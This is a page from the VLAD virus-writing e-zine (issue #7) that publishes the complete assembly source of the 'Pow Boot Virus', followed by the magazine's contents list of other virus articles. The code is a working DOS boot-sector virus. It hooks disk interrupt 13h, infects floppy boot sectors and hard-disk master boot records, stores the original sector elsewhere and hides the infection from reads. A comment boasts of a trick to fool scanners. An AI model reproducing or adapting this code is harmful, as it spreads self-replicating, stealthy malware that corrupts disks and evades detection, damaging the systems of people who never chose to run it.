Virus Labs & Distribution
VLAD #7 - Pow Boot Virus

;               -  Ŀ
;                             BOOT VIRUS                    
;                Author:     Dr. Pow                                   
;       .         Version:    4.0                                       
;       |         Infection:  i13/ah=2,3/cx=0001/dh=00
;                 Stealth:    i13/ah=2/cx=0001/dh=00                    
;                 Size:       242 bytes                                 
;                Assembler:  A86v4.02                                  
;       -          ľ

		org     0


		dw      3CEBh                   ; JMP  SHORT  003F
		db      3Ch dup(0)

		xor     di, di
		mov     ds, di
		mov     ss, di
		mov     sp, 7C00h

		mov     si, 412h                ; "Fool the scanner" trick..
		inc     si
		dec     W [si]                  ; Allocate 1Kb memory
		lodsw                           ; Get the top of memory
		mov     cl, 6
		shl     ax, cl                  ; Convert to para
		mov     es, ax

		mov     si, sp                  ; SP=7C00
		mov     cx, 0FEh
		repz    movsw                   ; Move virus to TOM

		mov     si, 13h*4
		movsw                           ; Get i13 entry..
		mov     W [si-4], offset Hand_13
		mov     W [si-2], es

		int     19h                     ; Reload boot
MyID            db      "-Pow-"


ReadDisk:       mov     ax, 0201h
		jmp     short  Do_13
WriteDisk:      mov     ax, 0301h
Do_13:          pushf
		call    D cs:[1FCh]             ; Call i13

Hand_13:        mov     B cs:[Function+1], ah   ; Save function number
		call    Do_13                   ; Do their INT
		push    ax, cx, dx, si, di, es, bx

Function:       mov     al, 00
		dec     ax
		dec     ax                      ; al=0(read), =1(write)
		cmp     al, 1                   ; Write ?
		ja      PopAllExit
		cmp     cx, 1                   ; Cylinder 0, sector 1?
		jnz     PopAllExit
		or      dh, dh                  ; Head 0?
		jnz     PopAllExit

		push    ax, cs
		pop     es
		mov     bx, 200h
		call    ReadDisk                ; Read boot to CS:0200
		pop     ax
		jb      PopAllExit              ; Error? Lets abort

		inc     cx                      ; Hard disk MBR at 0/0/2
		or      dl, dl
		js      PosOK
		mov     cl, 14                  ; Floppy boot at 0/1/14
		mov     dh, 1

PosOK:          cmp     W es:[bx+MyID], 'P-'    ; Am I home?
		jnz     Infect                  ; No? I'm coming!
		or      al, al                  ; Read function?
		jnz     PopAllExit
		pop     bx, es
		call    ReadDisk                ; Read orig boot in their buffer
		jmp     short  PopDiExit

Infect:         call    WriteDisk               ; Write orig boot
		jb      PopAllExit              ; Error? Lets abort
		mov     si, 3Eh
		mov     di, 23Eh
		mov     cl, 0DFh                ; Words to move
		rep     movsw  cs:              ; Move virus to our buffer
		mov     W es:[bx], 3CEBh        ; Move JMP SHORT opcode
		inc     cx                      ; CX=0001
		mov     dh, 0
		call    WriteDisk               ; Write back infected boot

PopAllExit:     popf
		pop     bx, es
PopDiExit:      pop     di, si, dx, cx, ax
		retf    0002o



ARTICLE.1_2       Aims and Policies
ARTICLE.1_3       Greets
ARTICLE.1_4       Members/Joining
ARTICLE.1_5       Dist/Contact Info
ARTICLE.1_6       Hidden Area Info
ARTICLE.1_7       Coding the Mag


No Flags
ARTICLE.2_2       Goodbye Virus
ARTICLE.2_3       Boot Sector Tutorial
ARTICLE.2_4       STAOG Linux Virus
ARTICLE.2_5       Pow Boot Virus
ARTICLE.2_6       Wulf2
ARTICLE.2_7       Tbscan Internals


VLAD Viruses
ARTICLE.3_2       TVIR600
ARTICLE.3_3       Vecna Boot Virus
ARTICLE.3_4       Padania Virus
ARTICLE.3_5       HooDoo Virus
ARTICLE.3_6       Pandemonium Virus
ARTICLE.3_7       Black Lotus


Zip Virus
ARTICLE.4_2       Archive Infect
ARTICLE.4_3       Virstop Article
ARTICLE.4_4       Boza Makes Bontchev Barf Virus
ARTICLE.4_5       Killer Virus
ARTICLE.4_6       Muraroa End
ARTICLE.4_7       Mages Fury

About VLAD - Links - Contact Us - Main